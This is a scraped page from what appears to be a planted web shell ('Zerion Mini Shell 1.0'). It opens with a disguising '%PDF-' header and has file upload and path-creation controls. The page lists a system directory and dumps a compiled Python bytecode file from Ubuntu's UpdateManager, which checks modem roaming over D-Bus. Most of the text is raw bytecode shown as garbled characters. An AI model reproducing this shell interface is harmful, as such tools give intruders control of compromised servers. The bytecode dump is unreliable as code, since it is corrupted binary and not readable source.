%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/UpdateManager/Core/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/UpdateManager/Core/__pycache__/roam.cpython-312.pyc

�

QKf����ddlZddlZGd�de�ZGd�de�Zedk(r�ejddrGejddk(r5e�Zed	ej��ed
ej��e�Zej�Z
ede
�e
rejd�ejd�yy)�Nc�l�eZdZdZedzZdZdZdZdZdZ	dZ
dZdZdZ
dZdZdZd	�Zed
��Zd�Zd�Zy
)�ModemManagerHelper�org.freedesktop.ModemManagerz.Modem��r���c��tj�|_|jjdd�|_tj
|j|j�}|j�|_y)Nrz/org/freedesktop/ModemManager)	�dbus�	SystemBus�bus�
get_object�proxy�	Interface�
MM_DBUS_IFACE�EnumerateDevices�modems)�self�
modem_managers  �9/usr/lib/python3/dist-packages/UpdateManager/Core/roam.py�__init__zModemManagerHelper.__init__@sX���>�>�#����X�X�(�(�*�,K�
��
����t�z�z�4�3E�3E�F�
�#�4�4�6���c�V�tj|d�}|j||�}|S�Nzorg.freedesktop.DBus.Properties�rr�Get�r�	interface�property�propss    r�get_dbus_propertyz$ModemManagerHelper.get_dbus_propertyH�(�����u�&G�H���9�9�Y��1���rc�p�|jD]�}|jj|j|�}|j	||j
d�}||jk7r�Vtj||j
dz�}|j�}|d|j|jfvs��yy)N�Typez.Gsm.NetworkrTF)rrrrr"�MM_DBUS_IFACE_MODEM�MM_MODEM_TYPE_GSMrr�GetRegistrationInfo�'MM_MODEM_GSM_NETWORK_REG_STATUS_UNKNOWN�'MM_MODEM_GSM_NETWORK_REG_STATUS_ROAMING)r�m�dev�type�net�regs      r�is_gsm_roamingz!ModemManagerHelper.is_gsm_roamingNs������	�A��(�(�%�%�d�&8�&8�!�<�C��)�)��T�-�-�v��D��t�-�-�-���.�.��T�-�-��>��C��)�)�+�C��1�v��<�<��<�<����%	�&rc��|jD]�}|jj|j|�}|j	||j
d�}||jk7r�Vtj||j
dz�}|j�\}}|j|jf}||vry||vs��yy)Nr%z.CdmaTF)rrrrr"r&�MM_MODEM_TYPE_CDMArr�GetRegistrationState�+MM_MODEM_CDMA_REGISTRATION_STATE_REGISTERED�(MM_MODEM_CDMA_REGISTRATION_STATE_ROAMING)rr+r,r-�cdma�cmda_1x�evdo�roaming_statess        r�is_cdma_roamingz"ModemManagerHelper.is_cdma_roamingds������	�A��(�(�%�%�d�&8�&8�!�<�C��)�)��T�-�-�v��D��t�.�.�.���>�>�#�t�'?�'?�'�'I�J�D�"�7�7�9�O�W�d�
�@�@��=�=��N�
�~�%���N�*��)	�*rN)�__name__�
__module__�__qualname__rr&r'r2�$MM_MODEM_GSM_NETWORK_REG_STATUS_IDLE�$MM_MODEM_GSM_NETWORK_REG_STATUS_HOME�)MM_MODEM_GSM_NETWORK_REG_STATUS_SEARCHING�&MM_MODEM_GSM_NETWORK_REG_STATUS_DENIEDr)r*�(MM_MODEM_CDMA_REGISTRATION_STATE_UNKNOWNr4�%MM_MODEM_CDMA_REGISTRATION_STATE_HOMEr5r�staticmethodr"r0r:�rrrrs���3�M�'�(�2������,-�(�+,�(�01�-�-.�*�./�+�./�+�01�,�34�/�,-�)�/0�,�7�����
�,rrc�v�eZdZdZdZdZdZeegZdZdZ	dZ
dZee	e
egZdZ
d	ZdZdZd
Zd�Zed��Zd
�Zd�Zy)�NetworkManagerHelper�org.freedesktop.NetworkManagerrr�(r�2�<�Frr	c�x�tj�|_|jjdd�|_y)NrHz/org/freedesktop/NetworkManager)rr
rrr)rs rrzNetworkManagerHelper.__init__�s,���>�>�#����X�X�(�(�,�.O�
��
rc�V�tj|d�}|j||�}|Srrrs    rr"z&NetworkManagerHelper.get_dbus_property�r#rc��d}|j|j|jd�}|D]�}|jj	|j|�}|j||jdzd�}|s�L|j||jdzd�}|D]l}|jj	|j|�}|j||jdzd�}	|	|j
k(ry|	|jk(ry�n��|S)	NF�ActiveConnectionsz.Connection.Active�Default�Devicesz.Device�
DeviceTypeT)r"r�
NM_DBUS_IFACErr�NM_DEVICE_TYPE_GSM�NM_DEVICE_TYPE_CDMA)
r�res�actives�a�active�
default_route�devs�dr,r-s
          r� is_active_connection_gsm_or_cdmaz5NetworkManagerHelper.is_active_connection_gsm_or_cdma�s!�����(�(��J�J��*�*�,?�
���	�A��X�X�(�(��);�);�Q�?�F� �2�2���*�*�-A�A�9��M�!���)�)���*�*�-A�A�9��D��

���h�h�)�)�$�*<�*<�a�@���-�-���+�+�i�7�����4�2�2�2���T�5�5�5���

�	�*�
rc��d}|j�r0t�}||j�z}||j�z}|S)NF)r^rr0r:)rrW�mmhelpers   r�(is_active_connection_gsm_or_cdma_roamingz=NetworkManagerHelper.is_active_connection_gsm_or_cdma_roaming�sF�����0�0�2�)�+�H��8�*�*�,�,�C��8�+�+�-�-�C��
rN)r;r<r=rT�NM_STATE_UNKNOWN�NM_STATE_CONNECTING_OLD�NM_STATE_CONNECTING�NM_STATE_CONNECTING_LIST�NM_STATE_CONNECTED_OLD�NM_STATE_CONNECTED_LOCAL�NM_STATE_CONNECTED_SITE�NM_STATE_CONNECTED_GLOBAL�NM_STATE_CONNECTED_LIST�NM_DEVICE_TYPE_UNKNOWN�NM_DEVICE_TYPE_ETHERNET�NM_DEVICE_TYPE_WIFIrUrVrrDr"r^rarErrrGrG}s���4�M������� 7�9L�M����!�� �� "��� ��!�	������������
�����
�8rrG�__main__rz--testr0�is_cdma_romaingzroam: )r�sys�objectrrGr;�argvr`�printr0r:�nmhelperra�
is_roaming�exitrErr�<module>rws���0�
�^��^�BQ�6�Q�h�z���x�x���|������x�/�%�'��
��� 7� 7� 9�:�
���!9�!9�!;�<�$�%�H��B�B�D�J�	�(�J����������C�H�H�Q�K�r

Zerion Mini Shell 1.0